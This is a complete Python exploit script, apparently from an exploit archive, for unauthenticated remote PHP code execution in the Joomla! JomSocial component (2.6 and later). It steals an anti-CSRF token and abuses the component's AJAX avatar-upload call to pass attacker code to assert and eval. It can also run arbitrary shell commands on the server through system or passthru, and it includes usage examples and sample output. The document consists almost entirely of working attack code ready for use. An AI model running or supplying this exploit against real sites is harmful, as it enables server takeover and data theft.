Joomla JomSocial Component 2.6 - Code Execution Exploit



#!/usr/bin/python

#
# Joomla! JomSocial component >= 2.6 PHP code execution exploit
#
# Authors:
#   - Matias Fontanini
#   - Gaston Traberg
#
# This exploit allows the execution of PHP code without any prior 
# authentication on the Joomla! JomSocial component.
#
# Note that in order to be able to execute PHP code, both the "eval" 
# and "assert" functions must be enabled. It is also possible to execute
# arbitrary PHP functions, without using them. Therefore, it is possible
# to execute shell commands using "system", "passthru", etc, as long
# as they are enabled.
#
# Examples:
#
# Execute PHP code:
# ./exploit.py -u http://example.com/index.php -p "echo 'Hello World!';"
# ./exploit.py -u http://example.com/index.php -p /tmp/script_to_execute.php

# Execute shell commands(using system()):
# ./exploit.py -u http://example.com/index.php -s "netstat -n"
#
# Exploit shell commands(using a user provided function, passthru in this case)
# ./exploit.py -u http://example.com/joomla/index.php -s "netstat -natp" -c passthru
#
# Exploit execution example:
# $ python exploit.py -u http://example.com/index.php -p 'var_dump("Hello World!");'
# [i] Retrieving cookies and anti-CSRF token... Done
# [+] Executing PHP code...
# string(12) "Hello World!"

import urllib, urllib2, re, argparse, sys, os

class Exploit:
    token_request_data = 'option=com_community&view=frontpage'
    exploit_request_data = 'option=community&no_html=1&task=azrul_ajax&func=photos,ajaxUploadAvatar&{0}=1&arg2=["_d_","Event"]&arg3=["_d_","374"]&arg4=["_d_","{1}"]'
    json_data = '{{"call":["CStringHelper","escape", "{1}","{0}"]}}'
    
    def __init__(self, url, user_agent = None, use_eval = True):
        self.url = url
        self._set_user_agent(user_agent)
        self.use_eval = use_eval
        self.token_regex = re.compile('<input type=\"hidden\" name=\"([\w\d]{32})\" value=\"1\" \/>')
        self.cookie, self.token = self._retrieve_token()
        self.result_regex = re.compile('method=\\\\"POST\\\\" enctype=\\\\"multipart\\\\/form-data\\\\"><br>(.*)<div id=\\\\"avatar-upload\\\\">', re.DOTALL)
        self.command_regex = re.compile('(.*)\\[\\["as","ajax_calls","d",""\\]', re.DOTALL)
    
    def _set_user_agent(self, user_agent):
        self.user_agent = user_agent
    
    def _make_opener(self, add_cookie = True):
        opener = urllib2.build_opener()
        if add_cookie:
            opener.addheaders.append(('Cookie', self.cookie))
        opener.addheaders.append(('Referer', self.url))
        if self.user_agent:
            opener.addheaders.append(('User-Agent', self.user_agent))
        return opener
    
    def _retrieve_token(self):
        opener = self._make_opener(False)
        sys.stdout.write('[i] Retrieving cookies and anti-CSRF token... ')
        sys.stdout.flush()
        req = opener.open(self.url, Exploit.token_request_data)
        data = req.read()
        token = self.token_regex.findall(data)
        if len(token) < 1:
            print 'Failed'
            raise Exception("Could not retrieve anti-CSRF token")
        print 'Done'
        return (req.headers['Set-Cookie'], token[0])

    def _do_call_function(self, function, parameter):
        parameter = parameter.replace('"', '\\"')
        json_data = Exploit.json_data.format(function, parameter)
        json_data = urllib2.quote(json_data)
        data = Exploit.exploit_request_data.format(self.token, json_data)
        opener = self._make_opener()
        req = opener.open(self.url, data)
        if function == 'assert':
            return req.read()
        elif function in ['system', 'passthru']:
            result = self.command_regex.findall(req.read())
            if len(result) == 1:
                return result[0]
            else:
                return "[+] Error executing command."
        else:
            result = self.result_regex.findall(req.read())
            if len(result) == 1:
                return result[0].replace('\\/', '/').replace('\\"', '"').replace('\\n', '\n')
            else:
                return "[+] Error executing command."
    
    def call_function(self, function, parameter):
        if self.use_eval:
            return self.eval("echo {0}('{1}')".format(function, parameter))
        else:
            return self._do_call_function(function, parameter)
    
    def disabled_functions(self):
        return self.call_function("ini_get", "disable_functions")

    def test_injection(self):
        result = self.eval("echo 'HELLO' . ' - ' . 'WORLD';")
        if 'HELLO - WORLD' in result:
            print "[+] Code injection using eval works"
        else:
            print "[+] Code injection doesn't work. Try executing shell commands."

    def eval(self, code):
        if code [-1] != ';':
            code = code + ';'
        return self._do_call_function('assert', "@exit(@eval(@base64_decode('{0}')));".format(code.encode('base64').replace('\n', '')))
    


parser = argparse.ArgumentParser(
    description="JomSocial >= 2.6 - Code execution exploit"
)
parser.add_argument('-u', '--url', help='the base URL', required=True)
parser.add_argument(
    '-p', 
    '--php-code', 
    help='the PHP code to execute. Use \'-\' to read from stdin, or provide a file path to read from')
parser.add_argument('-s', '--shell-command', help='the shell command to execute')
parser.add_argument('-c', '--shell-function', help='the PHP function to use when executing shell commands', default="system")
parser.add_argument('-t', '--test', action='store_true', help='test the PHP code injection using eval', default=False)
parser.add_argument('-n', '--no-eval', action='store_false', help='don\'t use eval when executing shell commands', default=True)

args = parser.parse_args() 
if not args.test and not args.php_code and not args.shell_command:
    print '[-] Need -p, -t or -s to do something...'
    exit(1)
url = args.url
try:
    if not url.startswith('http://') and not url.startswith('https://'):
        url = 'http://' + url
    exploit = Exploit(url, use_eval=args.no_eval)
    if args.test:
        exploit.test_injection()
    elif args.php_code:
        code = args.php_code
        if args.php_code == '-':
            print '[i] Enter the code to be executed:'
            code = sys.stdin.read()
        elif os.path.isfile(code):
            try:
                fd = open(code)
                code = fd.read()
                fd.close()
            except Exception:
                print "[-] Error reading the file."
                exit(1)
        print '[+] Executing PHP code...'
        print exploit.eval(code)
    elif args.shell_command:
        print exploit.call_function(args.shell_function, args.shell_command)
except Exception as ex:
    print '[+] Error: ' + str(ex)